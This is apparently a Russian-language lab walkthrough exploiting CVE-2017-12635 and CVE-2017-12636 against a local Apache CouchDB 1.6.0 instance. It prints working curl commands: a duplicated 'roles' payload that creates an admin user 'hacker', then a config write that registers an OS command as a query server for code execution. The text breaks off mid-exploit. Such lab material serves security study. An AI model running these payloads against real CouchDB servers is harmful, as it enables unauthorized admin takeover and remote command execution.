dungsocool/cve-2017-12635_36Пошаговая лабораторная работа, демонстрирующая эксплуатацию CVE-2017-12635 (повышение привилегий) и CVE-2017-12636 (удалённое выполнение кода) против Apache CouchDB 1.6.0, с оценкой рисков и рекомендациями по устранению уязвимостей.
Начнём с того, что запущено в окружении. Перечисляю все активные контейнеры:
docker ps
Жертва открывает единственный порт: 5984
⇒ Я обращаюсь к нему напрямую с помощью curl, чтобы получить дополнительную информацию:
curl -i http://192.168.3.137:5984/
Анализ ответа:
Ответ: HTTP/1.1 200 OK — это доказывает, что сервис на порту 5984 активен и доступен напрямую через HTTP.
Заголовок сервера: CouchDB/1.6.0 (Erlang OTP/17) и JSON-тело, содержащее "version":"1.6.0", подтверждают, что это Apache CouchDB версии 1.6.0.
Оценка поверхности атаки:
Сервис CouchDB доступен извне через порт 5984. Это порт по умолчанию для HTTP API CouchDB, что позволяет взаимодействовать с базой данных через REST API.
Версия CouchDB 1.6.0 является старой, выпущенной до патча 1.7.1. Согласно документации Apache, версии CouchDB в этом диапазоне подвержены следующим уязвимостям:
roles.=> Размышление: На основе полученного ответа есть достаточно доказательств, чтобы определить, что на жертве запущен Apache CouchDB 1.6.0 на порту 5984. Это старая версия, связанная с цепочкой эксплуатации CVE-2017-12635 и CVE-2017-12636. Поэтому логичный путь эксплуатации — сначала проверить состояние аутентификации, а затем оценить возможность повышения привилегий или выполнения команд через HTTP API CouchDB.
CVE-2017-12635 использует расхождение между двумя JSON-парсерами в CouchDB. При отправке документа пользователя в /_users с двумя повторяющимися ключами roles CouchDB использует второй ключ roles для проверки прав на запись документа, но использует первый ключ roles для фактических прав пользователя после создания. Таким образом, атакующий задаёт первый roles как ["_admin"], а второй roles как [], чтобы обойти проверку валидации, в результате чего созданный пользователь получает права администратора.
Согласно документации CouchDB, CouchDB хранит информацию о пользователях в специальной базе данных с именем _users, где каждый документ пользователя имеет идентификатор вида org.couchdb.user:<имя_пользователя>. Поскольку нам нужно создать пользователя с именем hacker, используется конечная точка /_users/org.couchdb.user:hacker. Я создаю нового пользователя и назначаю ему права администратора, чтобы посмотреть, как ответит сервер.
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'
Полученный ответ равен true, что доказывает успешное создание пользователя. Выполняю проверку с помощью учётных данных нового администратора: curl -u hacker:password123 http://192.168.3.137:5984/_users. Конечная точка /_users — это системная база данных, из которой по умолчанию только администраторы могут читать метаданные. Если запрос отправляет обычный пользователь → 403 Forbidden. Ответ 200 OK с полной информацией о БД подтверждает, что учётная запись hacker действительно обладает привилегиями _admin. Это полностью соответствует гипотезе о CVE-2017-12635 на Apache CouchDB 1.6.0.
Итог:
Я успешно подтвердил CVE-2017-12635 на Apache CouchDB 1.6.0. Первоначально порт 5984 лишь показывал, что HTTP API CouchDB открыт. После снятия отпечатка (fingerprinting) с помощью curl ответ подтвердил, что сервис — это CouchDB 1.6.0, версия, попадающая в диапазон уязвимости CVE-2017-12635.
Вместо того чтобы сразу делать вывод о возможности RCE, я сначала пошагово проверил процесс аутентификации. Отправив документ пользователя в /_users с двумя повторяющимися ключами roles, полезная нагрузка успешно создала пользователя hacker. Затем запрос к /_users через curl -u hacker:password123 вернул 200 OK вместе с деталями системной базы данных, что доказывает: пользователь hacker действительно обладает привилегиями _admin.
Следовательно, после получения привилегий администратора CouchDB поверхность атаки расширяется до CVE-2017-12636, поскольку администраторы могут изменять конфигурацию CouchDB через HTTP API. Это является предпосылкой для дальнейшей оценки возможности удалённого выполнения команд на сервере.
⇒ Размышление: Использовать недавно полученные привилегии администратора для проверки выполнения команд на уровне ОС.
Согласно документации Apache CouchDB, Query Server — это внешний процесс, используемый CouchDB для обработки функций проектирования (design functions), например JavaScript-представления в механизме MapReduce. Когда документ проектирования объявляет поле "language", CouchDB использует это значение для поиска соответствующего query server в конфигурации query_servers.
Если документ проектирования содержит "language": "javascript", CouchDB запрашивает конфигурацию query_servers.javascript, чтобы определить, какой процесс запускать для обработки функции map/reduce. Это легитимная конструкция CouchDB, так как ядро CouchDB не выполняет весь код представлений непосредственно в движке базы данных.
⇒ Проблема в CVE-2017-12636 заключается в возможности администратора CouchDB изменять конфигурацию сервера через HTTP API. Некоторые из этих конфигураций содержат пути к бинарным файлам или процессам уровня операционной системы, которые CouchDB будет запускать. Поэтому после получения привилегий администратора через CVE-2017-12635 атакующий может изменить query_servers.<language>, указав на команду ОС. При запуске представления, использующего соответствующий язык, CouchDB запустит эту команду, что приведёт к выполнению команд на сервере.
Схема эксплуатации:
query_servers.cmd через конечную точку /_config."language": "cmd".query_servers.cmd и запускает сконфигурированный процесс.Запись вредоносной конфигурации query_server
Регистрируем «query server» с произвольным именем, значением которого является команда ОС:
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
-H "Content-Type: application/json" \
-d '"id 1>/tmp/pwned 2>&1"'
Это команда ОС, которую запустит процесс CouchDB.
Запуск выполнения — создание базы данных и документа
# Create test database
curl -X PUT http://hacker:[email protected]:5984/rcetest